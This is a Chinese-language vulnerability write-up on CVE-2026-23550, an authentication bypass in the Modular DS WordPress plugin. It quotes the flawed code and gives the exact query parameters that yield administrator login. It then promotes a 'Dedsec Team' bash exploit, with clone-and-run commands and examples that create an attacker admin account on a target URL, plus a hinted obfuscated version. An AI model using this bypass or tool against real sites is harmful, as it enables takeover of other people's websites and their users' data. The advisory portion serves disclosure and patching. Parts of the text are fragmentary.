CVE ID: CVE-2026-23550 CVSS 评分: 10.0(严重) 受影响插件: Modular DS WordPress 插件 受影响版本: 所有版本直至并包括 2.5.1 已修补版本: 2.5.2(2026 年 1 月 14 日发布) 活跃利用: 自 2026 年 1 月 13 日起已在野外确认
该插件将其 API 路由暴露在 /api/modular-connector/. 前缀下。
这些路由被分组在 RouteServiceProvider.php 中的认证中间件之后。
然而,使用存在缺陷的 isDirectRequest() 方法可以绕过认证。
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
绕过方式非常简单:只需在请求中包含参数 origin=mo&type=anything。无需验证签名、密钥、IP 或强制 User-Agent——仅凭这些参数就足以让请求被视为 Modular direct request
一旦请求被视为"direct",ModularGuard.php 中的认证中间件仅通过 validateOrRenewAccessToken() 检查站点是否连接到 Modular。传入请求与 Modular 本身之间没有加密关联。
暴露的路由 成功绕过认证后,攻击者可以访问:
/login/{modular_request} – 远程登录(管理员访问)
/server-information – 敏感系统数据
/users/{modular_request} – 用户枚举
/backup/* – 站点备份
/cache/clear – 清除缓存
/manager/* – 管理功能
/woocommerce/{modular_request} – WooCommerce 统计
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK KE ADMIN MANAPUN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
如果请求体中不存在用户 ID,代码将查找任何存在的管理员 (getAdminUser()) 并直接登录。
作者: (Dedsec Team) 描述: 一个用于 WordPress 用户枚举和自动创建管理员账户的强大 bash 脚本。仅用于教育目的和授权安全测试。
/?author=1、/?author=2 等)发现 WordPress 用户名curl(用于 HTTP 请求)base64(如果你使用混淆版本,嘿嘿)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [options] <target_url>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d